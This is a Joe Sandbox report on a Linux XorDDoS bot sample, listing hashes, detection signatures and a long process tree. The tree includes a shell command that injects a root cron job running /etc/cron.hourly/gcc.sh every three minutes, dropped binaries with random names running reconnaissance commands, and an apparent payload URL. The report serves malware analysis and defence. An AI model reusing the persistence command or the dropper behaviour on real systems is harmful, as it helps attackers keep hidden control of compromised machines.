Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
0Xorddos.o

Overview

General Information

Sample Name:	0Xorddos.o
Analysis ID:	588994
MD5:	da818861f56900f552eb04c5e7d8c59d
SHA1:	4a414ccf923001621457e4beaf2ec0e7b165f2ac
SHA256:	d920dec25946a86aeaffd5a53ce8c3f05c9a7bac44d5c71481f497de430cb67e
Tags:	elflinuxXorDDOS
Infos:

Detection

XorDDoS

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus detection for dropped file

Yara detected XorDDoS Bot

Sample tries to persist itself using System V runlevels

Machine Learning detection for dropped file

Sample tries to persist itself using cron

Drops files in suspicious directories

Sample deletes itself

Machine Learning detection for sample

Writes ELF files to disk

Yara signature match

Drops files with innocent-looking names

PID-file does not contain an ASCII number

Writes shell script files to disk

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "systemctl" command used for controlling the systemd system and service manager

Detected non-DNS traffic on DNS port

Executes commands using a shell command-line interpreter

Reads CPU information from /proc indicative of miner or evasive malware

Writes shell script file to disk with an unusual file extension

Classification

×

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	588994
Start date:	14.03.2022
Start time:	21:20:39
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0Xorddos.o
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.troj.evad.linO@0/19@16/0

Warnings

VT rate limit hit for: http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ys

Runtime Messages

Command:	/tmp/0Xorddos.o
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

0Xorddos.o (PID: 5221, Parent: 5119, MD5: da818861f56900f552eb04c5e7d8c59d) Arguments: /tmp/0Xorddos.o

0Xorddos.o New Fork (PID: 5222, Parent: 5221)

0Xorddos.o New Fork (PID: 5223, Parent: 5222)

0Xorddos.o New Fork (PID: 5224, Parent: 5223)

0Xorddos.o New Fork (PID: 5225, Parent: 5222)

0Xorddos.o New Fork (PID: 5226, Parent: 5225)

update-rc.d (PID: 5226, Parent: 1860, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: update-rc.d 0Xorddos.o defaults

update-rc.d New Fork (PID: 5232, Parent: 5226)

systemctl (PID: 5232, Parent: 5226, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

0Xorddos.o New Fork (PID: 5227, Parent: 5222)

sh (PID: 5227, Parent: 5222, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"

sh New Fork (PID: 5228, Parent: 5227)

sed (PID: 5228, Parent: 5227, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -i /\\/etc\\/cron.hourly\\/gcc.sh/d /etc/crontab

0Xorddos.o New Fork (PID: 5254, Parent: 5222)

0Xorddos.o New Fork (PID: 5255, Parent: 5254)

uqxezzsakx (PID: 5255, Parent: 5254, MD5: 67365f9c1f2b194742925772fc9232ab) Arguments: /usr/bin/uqxezzsakx pwd 5222

uqxezzsakx New Fork (PID: 5256, Parent: 5255)

0Xorddos.o New Fork (PID: 5259, Parent: 5222)

0Xorddos.o New Fork (PID: 5260, Parent: 5259)

uqxezzsakx (PID: 5260, Parent: 5259, MD5: 67365f9c1f2b194742925772fc9232ab) Arguments: /usr/bin/uqxezzsakx "echo \"find\"" 5222

uqxezzsakx New Fork (PID: 5263, Parent: 5260)

0Xorddos.o New Fork (PID: 5261, Parent: 5222)

0Xorddos.o New Fork (PID: 5262, Parent: 5261)

uqxezzsakx (PID: 5262, Parent: 5261, MD5: 67365f9c1f2b194742925772fc9232ab) Arguments: /usr/bin/uqxezzsakx "netstat -antop" 5222

uqxezzsakx New Fork (PID: 5266, Parent: 5262)

0Xorddos.o New Fork (PID: 5264, Parent: 5222)

0Xorddos.o New Fork (PID: 5265, Parent: 5264)

uqxezzsakx (PID: 5265, Parent: 5264, MD5: 67365f9c1f2b194742925772fc9232ab) Arguments: /usr/bin/uqxezzsakx sh 5222

uqxezzsakx New Fork (PID: 5269, Parent: 5265)

0Xorddos.o New Fork (PID: 5267, Parent: 5222)

0Xorddos.o New Fork (PID: 5268, Parent: 5267)

uqxezzsakx (PID: 5268, Parent: 5267, MD5: 67365f9c1f2b194742925772fc9232ab) Arguments: /usr/bin/uqxezzsakx "sleep 1" 5222

uqxezzsakx New Fork (PID: 5270, Parent: 5268)

0Xorddos.o New Fork (PID: 5273, Parent: 5222)

0Xorddos.o New Fork (PID: 5274, Parent: 5273)

cukrqcagnz (PID: 5274, Parent: 5273, MD5: c8d0992125712b7648ce9d7c261decea) Arguments: /usr/bin/cukrqcagnz who 5222

cukrqcagnz New Fork (PID: 5275, Parent: 5274)

0Xorddos.o New Fork (PID: 5276, Parent: 5222)

0Xorddos.o New Fork (PID: 5277, Parent: 5276)

cukrqcagnz (PID: 5277, Parent: 5276, MD5: c8d0992125712b7648ce9d7c261decea) Arguments: /usr/bin/cukrqcagnz "ifconfig eth0" 5222

cukrqcagnz New Fork (PID: 5278, Parent: 5277)

0Xorddos.o New Fork (PID: 5279, Parent: 5222)

0Xorddos.o New Fork (PID: 5280, Parent: 5279)

cukrqcagnz (PID: 5280, Parent: 5279, MD5: c8d0992125712b7648ce9d7c261decea) Arguments: /usr/bin/cukrqcagnz "netstat -antop" 5222

cukrqcagnz New Fork (PID: 5283, Parent: 5280)

0Xorddos.o New Fork (PID: 5281, Parent: 5222)

0Xorddos.o New Fork (PID: 5282, Parent: 5281)

cukrqcagnz (PID: 5282, Parent: 5281, MD5: c8d0992125712b7648ce9d7c261decea) Arguments: /usr/bin/cukrqcagnz pwd 5222

cukrqcagnz New Fork (PID: 5286, Parent: 5282)

0Xorddos.o New Fork (PID: 5284, Parent: 5222)

0Xorddos.o New Fork (PID: 5285, Parent: 5284)

cukrqcagnz (PID: 5285, Parent: 5284, MD5: c8d0992125712b7648ce9d7c261decea) Arguments: /usr/bin/cukrqcagnz "sleep 1" 5222

cukrqcagnz New Fork (PID: 5287, Parent: 5285)

0Xorddos.o New Fork (PID: 5291, Parent: 5222)

0Xorddos.o New Fork (PID: 5292, Parent: 5291)

ysrkbnorkl (PID: 5292, Parent: 5291, MD5: 4d2e235cead4f0439bc635f5a18f4bf4) Arguments: /usr/bin/ysrkbnorkl gnome-terminal 5222

ysrkbnorkl New Fork (PID: 5293, Parent: 5292)

0Xorddos.o New Fork (PID: 5294, Parent: 5222)

0Xorddos.o New Fork (PID: 5295, Parent: 5294)

ysrkbnorkl (PID: 5295, Parent: 5294, MD5: 4d2e235cead4f0439bc635f5a18f4bf4) Arguments: /usr/bin/ysrkbnorkl "ps -ef" 5222

ysrkbnorkl New Fork (PID: 5298, Parent: 5295)

0Xorddos.o New Fork (PID: 5296, Parent: 5222)

0Xorddos.o New Fork (PID: 5297, Parent: 5296)

ysrkbnorkl (PID: 5297, Parent: 5296, MD5: 4d2e235cead4f0439bc635f5a18f4bf4) Arguments: /usr/bin/ysrkbnorkl "echo \"find\"" 5222

ysrkbnorkl New Fork (PID: 5301, Parent: 5297)

0Xorddos.o New Fork (PID: 5299, Parent: 5222)

0Xorddos.o New Fork (PID: 5300, Parent: 5299)

ysrkbnorkl (PID: 5300, Parent: 5299, MD5: 4d2e235cead4f0439bc635f5a18f4bf4) Arguments: /usr/bin/ysrkbnorkl "ifconfig eth0" 5222

ysrkbnorkl New Fork (PID: 5304, Parent: 5300)

0Xorddos.o New Fork (PID: 5302, Parent: 5222)

0Xorddos.o New Fork (PID: 5303, Parent: 5302)

ysrkbnorkl (PID: 5303, Parent: 5302, MD5: 4d2e235cead4f0439bc635f5a18f4bf4) Arguments: /usr/bin/ysrkbnorkl ifconfig 5222

ysrkbnorkl New Fork (PID: 5305, Parent: 5303)

0Xorddos.o New Fork (PID: 5308, Parent: 5222)

0Xorddos.o New Fork (PID: 5309, Parent: 5308)

zareoppgxh (PID: 5309, Parent: 5308, MD5: 8bd739bbc978f1311f3459fae05bbefd) Arguments: /usr/bin/zareoppgxh bash 5222

zareoppgxh New Fork (PID: 5310, Parent: 5309)

0Xorddos.o New Fork (PID: 5311, Parent: 5222)

0Xorddos.o New Fork (PID: 5312, Parent: 5311)

zareoppgxh (PID: 5312, Parent: 5311, MD5: 8bd739bbc978f1311f3459fae05bbefd) Arguments: /usr/bin/zareoppgxh "ps -ef" 5222

zareoppgxh New Fork (PID: 5315, Parent: 5312)

0Xorddos.o New Fork (PID: 5313, Parent: 5222)

0Xorddos.o New Fork (PID: 5314, Parent: 5313)

zareoppgxh (PID: 5314, Parent: 5313, MD5: 8bd739bbc978f1311f3459fae05bbefd) Arguments: /usr/bin/zareoppgxh id 5222

zareoppgxh New Fork (PID: 5318, Parent: 5314)

0Xorddos.o New Fork (PID: 5316, Parent: 5222)

0Xorddos.o New Fork (PID: 5317, Parent: 5316)

zareoppgxh (PID: 5317, Parent: 5316, MD5: 8bd739bbc978f1311f3459fae05bbefd) Arguments: /usr/bin/zareoppgxh id 5222

zareoppgxh New Fork (PID: 5321, Parent: 5317)

0Xorddos.o New Fork (PID: 5319, Parent: 5222)

0Xorddos.o New Fork (PID: 5320, Parent: 5319)

zareoppgxh (PID: 5320, Parent: 5319, MD5: 8bd739bbc978f1311f3459fae05bbefd) Arguments: /usr/bin/zareoppgxh "netstat -an" 5222

zareoppgxh New Fork (PID: 5322, Parent: 5320)

0Xorddos.o New Fork (PID: 5326, Parent: 5222)

0Xorddos.o New Fork (PID: 5327, Parent: 5326)

cvltgpdmgk (PID: 5327, Parent: 5326, MD5: 868c28a2f8b2ca95f48a4e00a2889e23) Arguments: /usr/bin/cvltgpdmgk gnome-terminal 5222

cvltgpdmgk New Fork (PID: 5328, Parent: 5327)

0Xorddos.o New Fork (PID: 5329, Parent: 5222)

0Xorddos.o New Fork (PID: 5330, Parent: 5329)

cvltgpdmgk (PID: 5330, Parent: 5329, MD5: 868c28a2f8b2ca95f48a4e00a2889e23) Arguments: /usr/bin/cvltgpdmgk "ps -ef" 5222

cvltgpdmgk New Fork (PID: 5331, Parent: 5330)

0Xorddos.o New Fork (PID: 5332, Parent: 5222)

0Xorddos.o New Fork (PID: 5333, Parent: 5332)

cvltgpdmgk (PID: 5333, Parent: 5332, MD5: 868c28a2f8b2ca95f48a4e00a2889e23) Arguments: /usr/bin/cvltgpdmgk ls 5222

cvltgpdmgk New Fork (PID: 5336, Parent: 5333)

0Xorddos.o New Fork (PID: 5334, Parent: 5222)

0Xorddos.o New Fork (PID: 5335, Parent: 5334)

cvltgpdmgk (PID: 5335, Parent: 5334, MD5: 868c28a2f8b2ca95f48a4e00a2889e23) Arguments: /usr/bin/cvltgpdmgk top 5222

cvltgpdmgk New Fork (PID: 5339, Parent: 5335)

0Xorddos.o New Fork (PID: 5337, Parent: 5222)

0Xorddos.o New Fork (PID: 5338, Parent: 5337)

cvltgpdmgk (PID: 5338, Parent: 5337, MD5: 868c28a2f8b2ca95f48a4e00a2889e23) Arguments: /usr/bin/cvltgpdmgk "netstat -antop" 5222

cvltgpdmgk New Fork (PID: 5342, Parent: 5338)

0Xorddos.o New Fork (PID: 5345, Parent: 5222)

0Xorddos.o New Fork (PID: 5346, Parent: 5345)

tngemhgnzk (PID: 5346, Parent: 5345, MD5: 67d9c73d144874e910413a9ff5f8be8d) Arguments: /usr/bin/tngemhgnzk ifconfig 5222

tngemhgnzk New Fork (PID: 5347, Parent: 5346)

0Xorddos.o New Fork (PID: 5348, Parent: 5222)

0Xorddos.o New Fork (PID: 5349, Parent: 5348)

tngemhgnzk (PID: 5349, Parent: 5348, MD5: 67d9c73d144874e910413a9ff5f8be8d) Arguments: /usr/bin/tngemhgnzk "route -n" 5222

tngemhgnzk New Fork (PID: 5352, Parent: 5349)

0Xorddos.o New Fork (PID: 5350, Parent: 5222)

0Xorddos.o New Fork (PID: 5351, Parent: 5350)

tngemhgnzk (PID: 5351, Parent: 5350, MD5: 67d9c73d144874e910413a9ff5f8be8d) Arguments: /usr/bin/tngemhgnzk "route -n" 5222

tngemhgnzk New Fork (PID: 5355, Parent: 5351)

0Xorddos.o New Fork (PID: 5353, Parent: 5222)

0Xorddos.o New Fork (PID: 5354, Parent: 5353)

tngemhgnzk (PID: 5354, Parent: 5353, MD5: 67d9c73d144874e910413a9ff5f8be8d) Arguments: /usr/bin/tngemhgnzk "cat resolv.conf" 5222

tngemhgnzk New Fork (PID: 5358, Parent: 5354)

0Xorddos.o New Fork (PID: 5356, Parent: 5222)

0Xorddos.o New Fork (PID: 5357, Parent: 5356)

tngemhgnzk (PID: 5357, Parent: 5356, MD5: 67d9c73d144874e910413a9ff5f8be8d) Arguments: /usr/bin/tngemhgnzk "grep \"A\"" 5222

tngemhgnzk New Fork (PID: 5359, Parent: 5357)

0Xorddos.o New Fork (PID: 5363, Parent: 5222)

0Xorddos.o New Fork (PID: 5364, Parent: 5363)

njezqqgxiu (PID: 5364, Parent: 5363, MD5: 1e085bdf101bbe4f3c0dd1fe168620df) Arguments: /usr/bin/njezqqgxiu sh 5222

njezqqgxiu New Fork (PID: 5365, Parent: 5364)

0Xorddos.o New Fork (PID: 5366, Parent: 5222)

0Xorddos.o New Fork (PID: 5367, Parent: 5366)

njezqqgxiu (PID: 5367, Parent: 5366, MD5: 1e085bdf101bbe4f3c0dd1fe168620df) Arguments: /usr/bin/njezqqgxiu "route -n" 5222

njezqqgxiu New Fork (PID: 5368, Parent: 5367)

0Xorddos.o New Fork (PID: 5369, Parent: 5222)

0Xorddos.o New Fork (PID: 5370, Parent: 5369)

njezqqgxiu (PID: 5370, Parent: 5369, MD5: 1e085bdf101bbe4f3c0dd1fe168620df) Arguments: /usr/bin/njezqqgxiu "ls -la" 5222

njezqqgxiu New Fork (PID: 5373, Parent: 5370)

0Xorddos.o New Fork (PID: 5371, Parent: 5222)

0Xorddos.o New Fork (PID: 5372, Parent: 5371)

njezqqgxiu (PID: 5372, Parent: 5371, MD5: 1e085bdf101bbe4f3c0dd1fe168620df) Arguments: /usr/bin/njezqqgxiu "ifconfig eth0" 5222

njezqqgxiu New Fork (PID: 5376, Parent: 5372)

0Xorddos.o New Fork (PID: 5374, Parent: 5222)

0Xorddos.o New Fork (PID: 5375, Parent: 5374)

njezqqgxiu (PID: 5375, Parent: 5374, MD5: 1e085bdf101bbe4f3c0dd1fe168620df) Arguments: /usr/bin/njezqqgxiu "netstat -an" 5222

njezqqgxiu New Fork (PID: 5377, Parent: 5375)

0Xorddos.o New Fork (PID: 5384, Parent: 5222)

0Xorddos.o New Fork (PID: 5385, Parent: 5384)

wzulpfbuxk (PID: 5385, Parent: 5384, MD5: 3544260d47adf075442cc29318bed673) Arguments: /usr/bin/wzulpfbuxk id 5222

wzulpfbuxk New Fork (PID: 5386, Parent: 5385)

0Xorddos.o New Fork (PID: 5387, Parent: 5222)

0Xorddos.o New Fork (PID: 5388, Parent: 5387)

wzulpfbuxk (PID: 5388, Parent: 5387, MD5: 3544260d47adf075442cc29318bed673) Arguments: /usr/bin/wzulpfbuxk ls 5222

wzulpfbuxk New Fork (PID: 5391, Parent: 5388)

0Xorddos.o New Fork (PID: 5389, Parent: 5222)

0Xorddos.o New Fork (PID: 5390, Parent: 5389)

wzulpfbuxk (PID: 5390, Parent: 5389, MD5: 3544260d47adf075442cc29318bed673) Arguments: /usr/bin/wzulpfbuxk "route -n" 5222

wzulpfbuxk New Fork (PID: 5394, Parent: 5390)

0Xorddos.o New Fork (PID: 5392, Parent: 5222)

0Xorddos.o New Fork (PID: 5393, Parent: 5392)

wzulpfbuxk (PID: 5393, Parent: 5392, MD5: 3544260d47adf075442cc29318bed673) Arguments: /usr/bin/wzulpfbuxk id 5222

wzulpfbuxk New Fork (PID: 5397, Parent: 5393)

0Xorddos.o New Fork (PID: 5395, Parent: 5222)

0Xorddos.o New Fork (PID: 5396, Parent: 5395)

wzulpfbuxk (PID: 5396, Parent: 5395, MD5: 3544260d47adf075442cc29318bed673) Arguments: /usr/bin/wzulpfbuxk gnome-terminal 5222

wzulpfbuxk New Fork (PID: 5398, Parent: 5396)

0Xorddos.o New Fork (PID: 5401, Parent: 5222)

0Xorddos.o New Fork (PID: 5402, Parent: 5401)

aoyymackpm (PID: 5402, Parent: 5401, MD5: 4b35d88168505669df2e8ba08379e487) Arguments: /usr/bin/aoyymackpm sh 5222

aoyymackpm New Fork (PID: 5403, Parent: 5402)

0Xorddos.o New Fork (PID: 5404, Parent: 5222)

0Xorddos.o New Fork (PID: 5405, Parent: 5404)

aoyymackpm (PID: 5405, Parent: 5404, MD5: 4b35d88168505669df2e8ba08379e487) Arguments: /usr/bin/aoyymackpm "netstat -antop" 5222

aoyymackpm New Fork (PID: 5406, Parent: 5405)

0Xorddos.o New Fork (PID: 5407, Parent: 5222)

0Xorddos.o New Fork (PID: 5408, Parent: 5407)

aoyymackpm (PID: 5408, Parent: 5407, MD5: 4b35d88168505669df2e8ba08379e487) Arguments: /usr/bin/aoyymackpm "echo \"find\"" 5222

aoyymackpm New Fork (PID: 5409, Parent: 5408)

0Xorddos.o New Fork (PID: 5410, Parent: 5222)

0Xorddos.o New Fork (PID: 5411, Parent: 5410)

aoyymackpm (PID: 5411, Parent: 5410, MD5: 4b35d88168505669df2e8ba08379e487) Arguments: /usr/bin/aoyymackpm gnome-terminal 5222

aoyymackpm New Fork (PID: 5414, Parent: 5411)

0Xorddos.o New Fork (PID: 5412, Parent: 5222)

0Xorddos.o New Fork (PID: 5413, Parent: 5412)

aoyymackpm (PID: 5413, Parent: 5412, MD5: 4b35d88168505669df2e8ba08379e487) Arguments: /usr/bin/aoyymackpm "cat resolv.conf" 5222

aoyymackpm New Fork (PID: 5415, Parent: 5413)

0Xorddos.o New Fork (PID: 5418, Parent: 5222)

0Xorddos.o New Fork (PID: 5419, Parent: 5418)

gbsknxiwip (PID: 5419, Parent: 5418, MD5: 332829866022c2218579e44d63c2dae3) Arguments: /usr/bin/gbsknxiwip gnome-terminal 5222

gbsknxiwip New Fork (PID: 5420, Parent: 5419)

0Xorddos.o New Fork (PID: 5421, Parent: 5222)

0Xorddos.o New Fork (PID: 5422, Parent: 5421)

gbsknxiwip (PID: 5422, Parent: 5421, MD5: 332829866022c2218579e44d63c2dae3) Arguments: /usr/bin/gbsknxiwip "sleep 1" 5222

gbsknxiwip New Fork (PID: 5425, Parent: 5422)

0Xorddos.o New Fork (PID: 5423, Parent: 5222)

0Xorddos.o New Fork (PID: 5424, Parent: 5423)

gbsknxiwip (PID: 5424, Parent: 5423, MD5: 332829866022c2218579e44d63c2dae3) Arguments: /usr/bin/gbsknxiwip "netstat -antop" 5222

gbsknxiwip New Fork (PID: 5430, Parent: 5424)

0Xorddos.o New Fork (PID: 5426, Parent: 5222)

0Xorddos.o New Fork (PID: 5427, Parent: 5426)

gbsknxiwip (PID: 5427, Parent: 5426, MD5: 332829866022c2218579e44d63c2dae3) Arguments: /usr/bin/gbsknxiwip who 5222

gbsknxiwip New Fork (PID: 5431, Parent: 5427)

0Xorddos.o New Fork (PID: 5428, Parent: 5222)

0Xorddos.o New Fork (PID: 5429, Parent: 5428)

gbsknxiwip (PID: 5429, Parent: 5428, MD5: 332829866022c2218579e44d63c2dae3) Arguments: /usr/bin/gbsknxiwip "cat resolv.conf" 5222

gbsknxiwip New Fork (PID: 5432, Parent: 5429)

0Xorddos.o New Fork (PID: 5435, Parent: 5222)

0Xorddos.o New Fork (PID: 5436, Parent: 5435)

gpcmhoiszu (PID: 5436, Parent: 5435, MD5: 2398b188e4ccdfa7852549d00ece9eb7) Arguments: /usr/bin/gpcmhoiszu su 5222

gpcmhoiszu New Fork (PID: 5437, Parent: 5436)

0Xorddos.o New Fork (PID: 5438, Parent: 5222)

0Xorddos.o New Fork (PID: 5439, Parent: 5438)

gpcmhoiszu (PID: 5439, Parent: 5438, MD5: 2398b188e4ccdfa7852549d00ece9eb7) Arguments: /usr/bin/gpcmhoiszu bash 5222

gpcmhoiszu New Fork (PID: 5440, Parent: 5439)

0Xorddos.o New Fork (PID: 5441, Parent: 5222)

0Xorddos.o New Fork (PID: 5442, Parent: 5441)

gpcmhoiszu (PID: 5442, Parent: 5441, MD5: 2398b188e4ccdfa7852549d00ece9eb7) Arguments: /usr/bin/gpcmhoiszu ifconfig 5222

gpcmhoiszu New Fork (PID: 5443, Parent: 5442)

0Xorddos.o New Fork (PID: 5444, Parent: 5222)

0Xorddos.o New Fork (PID: 5445, Parent: 5444)

gpcmhoiszu (PID: 5445, Parent: 5444, MD5: 2398b188e4ccdfa7852549d00ece9eb7) Arguments: /usr/bin/gpcmhoiszu su 5222

gpcmhoiszu New Fork (PID: 5448, Parent: 5445)

0Xorddos.o New Fork (PID: 5446, Parent: 5222)

0Xorddos.o New Fork (PID: 5447, Parent: 5446)

gpcmhoiszu (PID: 5447, Parent: 5446, MD5: 2398b188e4ccdfa7852549d00ece9eb7) Arguments: /usr/bin/gpcmhoiszu whoami 5222

gpcmhoiszu New Fork (PID: 5451, Parent: 5447)

0Xorddos.o New Fork (PID: 5455, Parent: 5222)

0Xorddos.o New Fork (PID: 5456, Parent: 5455)

qizbpqmtbi (PID: 5456, Parent: 5455, MD5: a1b79114b59e6fc4cb28e756f2425224) Arguments: /usr/bin/qizbpqmtbi uptime 5222

qizbpqmtbi New Fork (PID: 5457, Parent: 5456)

0Xorddos.o New Fork (PID: 5458, Parent: 5222)

0Xorddos.o New Fork (PID: 5459, Parent: 5458)

qizbpqmtbi (PID: 5459, Parent: 5458, MD5: a1b79114b59e6fc4cb28e756f2425224) Arguments: /usr/bin/qizbpqmtbi "cat resolv.conf" 5222

qizbpqmtbi New Fork (PID: 5462, Parent: 5459)

0Xorddos.o New Fork (PID: 5460, Parent: 5222)

0Xorddos.o New Fork (PID: 5461, Parent: 5460)

qizbpqmtbi (PID: 5461, Parent: 5460, MD5: a1b79114b59e6fc4cb28e756f2425224) Arguments: /usr/bin/qizbpqmtbi ifconfig 5222

qizbpqmtbi New Fork (PID: 5465, Parent: 5461)

0Xorddos.o New Fork (PID: 5463, Parent: 5222)

0Xorddos.o New Fork (PID: 5464, Parent: 5463)

qizbpqmtbi (PID: 5464, Parent: 5463, MD5: a1b79114b59e6fc4cb28e756f2425224) Arguments: /usr/bin/qizbpqmtbi "ls -la" 5222

qizbpqmtbi New Fork (PID: 5468, Parent: 5464)

0Xorddos.o New Fork (PID: 5466, Parent: 5222)

0Xorddos.o New Fork (PID: 5467, Parent: 5466)

qizbpqmtbi (PID: 5467, Parent: 5466, MD5: a1b79114b59e6fc4cb28e756f2425224) Arguments: /usr/bin/qizbpqmtbi "cat resolv.conf" 5222

qizbpqmtbi New Fork (PID: 5469, Parent: 5467)

0Xorddos.o New Fork (PID: 5472, Parent: 5222)

0Xorddos.o New Fork (PID: 5473, Parent: 5472)

cvvhpkxdyk (PID: 5473, Parent: 5472, MD5: de6e16b421b0aeff8b86522f8c8a2ef7) Arguments: /usr/bin/cvvhpkxdyk su 5222

cvvhpkxdyk New Fork (PID: 5474, Parent: 5473)

0Xorddos.o New Fork (PID: 5475, Parent: 5222)

0Xorddos.o New Fork (PID: 5476, Parent: 5475)

cvvhpkxdyk (PID: 5476, Parent: 5475, MD5: de6e16b421b0aeff8b86522f8c8a2ef7) Arguments: /usr/bin/cvvhpkxdyk whoami 5222

cvvhpkxdyk New Fork (PID: 5477, Parent: 5476)

0Xorddos.o New Fork (PID: 5478, Parent: 5222)

0Xorddos.o New Fork (PID: 5479, Parent: 5478)

cvvhpkxdyk (PID: 5479, Parent: 5478, MD5: de6e16b421b0aeff8b86522f8c8a2ef7) Arguments: /usr/bin/cvvhpkxdyk bash 5222

cvvhpkxdyk New Fork (PID: 5483, Parent: 5479)

0Xorddos.o New Fork (PID: 5480, Parent: 5222)

0Xorddos.o New Fork (PID: 5481, Parent: 5480)

cvvhpkxdyk (PID: 5481, Parent: 5480, MD5: de6e16b421b0aeff8b86522f8c8a2ef7) Arguments: /usr/bin/cvvhpkxdyk id 5222

cvvhpkxdyk New Fork (PID: 5485, Parent: 5481)

0Xorddos.o New Fork (PID: 5482, Parent: 5222)

0Xorddos.o New Fork (PID: 5484, Parent: 5482)

cvvhpkxdyk (PID: 5484, Parent: 5482, MD5: de6e16b421b0aeff8b86522f8c8a2ef7) Arguments: /usr/bin/cvvhpkxdyk ifconfig 5222

cvvhpkxdyk New Fork (PID: 5486, Parent: 5484)

0Xorddos.o New Fork (PID: 5489, Parent: 5222)

0Xorddos.o New Fork (PID: 5490, Parent: 5489)

oscovqjuil (PID: 5490, Parent: 5489, MD5: 9c0655b6b1c4ddae6f4f1c2598424c40) Arguments: /usr/bin/oscovqjuil "netstat -an" 5222

oscovqjuil New Fork (PID: 5491, Parent: 5490)

0Xorddos.o New Fork (PID: 5492, Parent: 5222)

0Xorddos.o New Fork (PID: 5493, Parent: 5492)

oscovqjuil (PID: 5493, Parent: 5492, MD5: 9c0655b6b1c4ddae6f4f1c2598424c40) Arguments: /usr/bin/oscovqjuil ls 5222

oscovqjuil New Fork (PID: 5494, Parent: 5493)

0Xorddos.o New Fork (PID: 5495, Parent: 5222)

0Xorddos.o New Fork (PID: 5496, Parent: 5495)

oscovqjuil (PID: 5496, Parent: 5495, MD5: 9c0655b6b1c4ddae6f4f1c2598424c40) Arguments: /usr/bin/oscovqjuil whoami 5222

oscovqjuil New Fork (PID: 5497, Parent: 5496)

0Xorddos.o New Fork (PID: 5498, Parent: 5222)

0Xorddos.o New Fork (PID: 5499, Parent: 5498)

oscovqjuil (PID: 5499, Parent: 5498, MD5: 9c0655b6b1c4ddae6f4f1c2598424c40) Arguments: /usr/bin/oscovqjuil gnome-terminal 5222

oscovqjuil New Fork (PID: 5503, Parent: 5499)

0Xorddos.o New Fork (PID: 5502, Parent: 5222)

0Xorddos.o New Fork (PID: 5504, Parent: 5502)

oscovqjuil (PID: 5504, Parent: 5502, MD5: 9c0655b6b1c4ddae6f4f1c2598424c40) Arguments: /usr/bin/oscovqjuil "echo \"find\"" 5222

oscovqjuil New Fork (PID: 5505, Parent: 5504)

0Xorddos.o New Fork (PID: 5509, Parent: 5222)

0Xorddos.o New Fork (PID: 5510, Parent: 5509)

cxictzyxcu (PID: 5510, Parent: 5509, MD5: 2930abf3b376ed3414bd8a59a8f8e1bf) Arguments: /usr/bin/cxictzyxcu "echo \"find\"" 5222

cxictzyxcu New Fork (PID: 5511, Parent: 5510)

0Xorddos.o New Fork (PID: 5512, Parent: 5222)

0Xorddos.o New Fork (PID: 5513, Parent: 5512)

cxictzyxcu (PID: 5513, Parent: 5512, MD5: 2930abf3b376ed3414bd8a59a8f8e1bf) Arguments: /usr/bin/cxictzyxcu ifconfig 5222

cxictzyxcu New Fork (PID: 5514, Parent: 5513)

0Xorddos.o New Fork (PID: 5515, Parent: 5222)

0Xorddos.o New Fork (PID: 5516, Parent: 5515)

cxictzyxcu (PID: 5516, Parent: 5515, MD5: 2930abf3b376ed3414bd8a59a8f8e1bf) Arguments: /usr/bin/cxictzyxcu "netstat -an" 5222

cxictzyxcu New Fork (PID: 5518, Parent: 5516)

0Xorddos.o New Fork (PID: 5517, Parent: 5222)

0Xorddos.o New Fork (PID: 5519, Parent: 5517)

cxictzyxcu (PID: 5519, Parent: 5517, MD5: 2930abf3b376ed3414bd8a59a8f8e1bf) Arguments: /usr/bin/cxictzyxcu ls 5222

cxictzyxcu New Fork (PID: 5520, Parent: 5519)

0Xorddos.o New Fork (PID: 5521, Parent: 5222)

0Xorddos.o New Fork (PID: 5522, Parent: 5521)

cxictzyxcu (PID: 5522, Parent: 5521, MD5: 2930abf3b376ed3414bd8a59a8f8e1bf) Arguments: /usr/bin/cxictzyxcu bash 5222

cxictzyxcu New Fork (PID: 5523, Parent: 5522)

0Xorddos.o New Fork (PID: 5526, Parent: 5222)

0Xorddos.o New Fork (PID: 5527, Parent: 5526)

qfvvwlqqkq (PID: 5527, Parent: 5526, MD5: 0e70bb0814ee7b2c7ad5cf64f29d5619) Arguments: /usr/bin/qfvvwlqqkq "ps -ef" 5222

qfvvwlqqkq New Fork (PID: 5528, Parent: 5527)

0Xorddos.o New Fork (PID: 5529, Parent: 5222)

0Xorddos.o New Fork (PID: 5530, Parent: 5529)

qfvvwlqqkq (PID: 5530, Parent: 5529, MD5: 0e70bb0814ee7b2c7ad5cf64f29d5619) Arguments: /usr/bin/qfvvwlqqkq "grep \"A\"" 5222

qfvvwlqqkq New Fork (PID: 5531, Parent: 5530)

0Xorddos.o New Fork (PID: 5532, Parent: 5222)

0Xorddos.o New Fork (PID: 5533, Parent: 5532)

qfvvwlqqkq (PID: 5533, Parent: 5532, MD5: 0e70bb0814ee7b2c7ad5cf64f29d5619) Arguments: /usr/bin/qfvvwlqqkq sh 5222

qfvvwlqqkq New Fork (PID: 5535, Parent: 5533)

0Xorddos.o New Fork (PID: 5534, Parent: 5222)

0Xorddos.o New Fork (PID: 5536, Parent: 5534)

